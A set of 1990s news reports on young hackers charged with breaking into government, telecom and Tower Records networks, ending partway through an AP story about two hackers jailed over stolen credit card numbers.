Two weeks ago, law enforcement officials charged an Argentine, 21, with
|
||
using the Internet to illegally break into computer networks at Department
|
||
of Defense installations, the NASA, Los Alamos National Laboratory and
|
||
several universities. The Justice Department is now seeking Julio Cesar
|
||
Ardita, who accessed confidential research files on aircraft design, radar
|
||
technology and satellite engineering.
|
||
|
||
And Chris Schanot, 19, from High Ridge, was in court in St. Louis last
|
||
week on charges of hacking. Schanot, who fled to Pennsylvania from St.
|
||
Louis after graduating from Vianney High School last May, is accused in a
|
||
five-count indictment of breaking into the computers of Southwestern Bell,
|
||
Bell Communications Research, Sprint and SRI International, a research and
|
||
development contractor with government contracts. His trial is set for June
|
||
10.
|
||
|
||
Schanot, like other hackers, likely became addicted to the feeling of
|
||
power that cracking into a private computer network brings, said St. Louis
|
||
County Police Sgt. Thomas Lasater, who has been investigating computer
|
||
crime for seven years.
|
||
|
||
"Normally these young hackers do not use the computers for financial
|
||
gain," Lasater said. "It's just a challenge for them to see what they can
|
||
conquer."
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Mike and Terry's Dreadful Adventure
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
by Elizabeth Weise (AP Newswire)
|
||
|
||
Terry Ewing was late. His plane left in an hour and he was cutting it close.
|
||
But he couldn't tear himself away from his computer and the hole he'd hacked
|
||
into the security network of Tower Records.
|
||
|
||
He kept poking around, looking for something interesting to take to the
|
||
hackers' convention he was going to. Finally, five minutes before the
|
||
airport shuttle beeped in front of his apartment, he downloaded a file
|
||
containing 1,700 credit card numbers.
|
||
|
||
"We didn't expect anyone was watching," he said seven months later -
|
||
through an inch of Plexiglas at the Sacramento County Jail.
|
||
|
||
Ewing had had second thoughts about taking the Tower Records file with
|
||
him on July 31, so he left it on his hard drive while he and Kim hit
|
||
DefCon, the biggest of the West Coast hacker gatherings, for a weekend of
|
||
bragging, hanging out and messing around.
|
||
|
||
"We never guessed they were onto us. Their security was so weak it
|
||
really blew," the 20-year-old Kim says by phone from the sixth floor of
|
||
the same jail that held his friend. He is facing an 18-month sentence.
|
||
|